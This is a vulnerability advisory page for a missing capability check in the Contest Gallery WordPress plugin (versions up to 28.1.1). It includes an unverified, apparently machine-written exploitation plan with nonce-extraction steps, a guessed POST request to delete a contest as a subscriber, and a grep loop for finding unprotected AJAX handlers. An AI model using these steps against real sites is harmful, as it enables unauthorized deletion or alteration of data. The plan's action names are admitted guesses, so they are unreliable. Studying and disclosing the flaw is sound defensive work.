CVE-2026-24965

Contest Gallery <= 28.1.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
28.1.2
Patched in
33d
Time to patch

Description

The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 28.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=28.1.1
PublishedJanuary 9, 2026
Last updatedFebruary 10, 2026
Affected plugincontest-gallery

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting a missing authorization vulnerability in the **Contest Gallery** plugin (versions <= 28.1.1). ### 1. Vulnerability Summary The vulnerability is a **Missing Authorization** (Insecure Direct Object Reference or Lack of Capability Check) within …

Show full research plan

This research plan focuses on identifying and exploiting a missing authorization vulnerability in the Contest Gallery plugin (versions <= 28.1.1).

1. Vulnerability Summary

The vulnerability is a Missing Authorization (Insecure Direct Object Reference or Lack of Capability Check) within an AJAX handler. While the plugin registers AJAX actions for authenticated users via wp_ajax_{action}, it fails to verify if the requesting user has the necessary administrative privileges (e.g., manage_options) before executing the logic. This allows any authenticated user, including those with Subscriber roles, to trigger administrative functions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Authentication: Required (Subscriber or higher).
  • Vulnerable Parameter: action (identifying the specific AJAX handler).
  • Payload Parameters: Specific to the identified function (e.g., contest_id, gallery_id, or settings arrays).
  • Preconditions: A valid Subscriber session and, potentially, a valid WordPress nonce.

3. Code Flow (Inferred)

  1. Registration: The plugin uses add_action( 'wp_ajax_cg_...', 'callback_function' ) in its initialization or AJAX class.
  2. Trigger: A Subscriber sends a POST request to admin-ajax.php with action=cg_....
  3. Authentication: WordPress verifies the user is logged in (satisfying the wp_ajax_ requirement).
  4. The Flaw: The callback_function checks for a nonce (sometimes) but fails to call if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }.
  5. Execution: The function performs sensitive operations like deleting a contest, updating settings, or clearing logs.

4. Nonce Acquisition Strategy

If the handler uses check_ajax_referer or wp_verify_nonce, the agent must retrieve the nonce from the frontend.

  1. Identify Shortcode: Grep for add_shortcode in the plugin: grep -r "add_shortcode" . (Commonly [contest-gallery]).
  2. Create Trigger Page: Create a page containing the gallery to ensure scripts load:
    wp post create --post_type=page --post_status=publish --post_title="Gallery" --post_content='[contest-gallery id="1"]'
  3. Extract Nonce:
    • Navigate to the new page using browser_navigate.
    • The plugin typically localizes data into a global object.
    • JS Variable Guess: cg_ajax_object or contest_gallery_admin_ajax.
    • Execution: browser_eval("window.cg_ajax_object?.nonce") or check the source for wp-die response to find the expected nonce key.

5. Exploitation Strategy

The agent will target a high-impact action, such as deleting a contest or modifying settings.

Target Action (Inferred): cg_delete_contest or cg_save_options.

Step 1: Identify the exact action string

grep -r "add_action( 'wp_ajax_" . | grep -v "nopriv"

Look for actions that sound administrative (e.g., cg_delete_..., cg_update_..., cg_save_...).

Step 2: Trace the handler
If the action is wp_ajax_cg_delete_contest, find the function:

grep -rn "function cg_delete_contest" .

Verify the absence of current_user_can.

Step 3: Construct the Exploit Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=cg_delete_contest&nonce=[NONCE]&contest_id=1

6. Test Data Setup

To demonstrate impact, the agent must ensure data exists to be modified or deleted.

  1. Activate Plugin: wp plugin activate contest-gallery
  2. Create a Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Create a Contest: Use WP-CLI to insert a record into the plugin's custom table (usually wp_cg_contests) or use the admin UI via browser_navigate if CLI is unavailable.
    • Note: Check for table name: wp db tables | grep cg_

7. Expected Results

  • Success: The server returns a success code (e.g., {"success":true} or 1) and the targeted data is removed or altered.
  • Failure (Patched): The server returns 403 Forbidden or a -1 / 0 if the capability check is correctly implemented.

8. Verification Steps

After the http_request exploit, use WP-CLI to confirm the state change:

  1. Check Database: wp db query "SELECT * FROM wp_cg_contests WHERE id = 1;"
  2. Verify Deletion: If the query returns empty, the exploit succeeded.
  3. Check Options: If a settings update was targeted: wp option get cg_settings_key.

9. Alternative Approaches

If cg_delete_contest is protected, look for:

  • cg_upload_image: Can a Subscriber upload files to a gallery they don't own?
  • cg_reset_votes: Can a Subscriber clear the leaderboard of a contest?
  • cg_save_order: Can a Subscriber reorganize administrative layouts?

Search Pattern for Discovery:

# Find all AJAX handlers and their associated functions
grep -r "add_action.*wp_ajax_" . | awk -F"'" '{print $4}' | while read func; do 
    echo "Checking $func...";
    grep -A 10 "function $func" . -r | grep -L "current_user_can";
done

This loop identifies handlers that register for logged-in users but do not contain a capability check within the first 10 lines of the function body.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.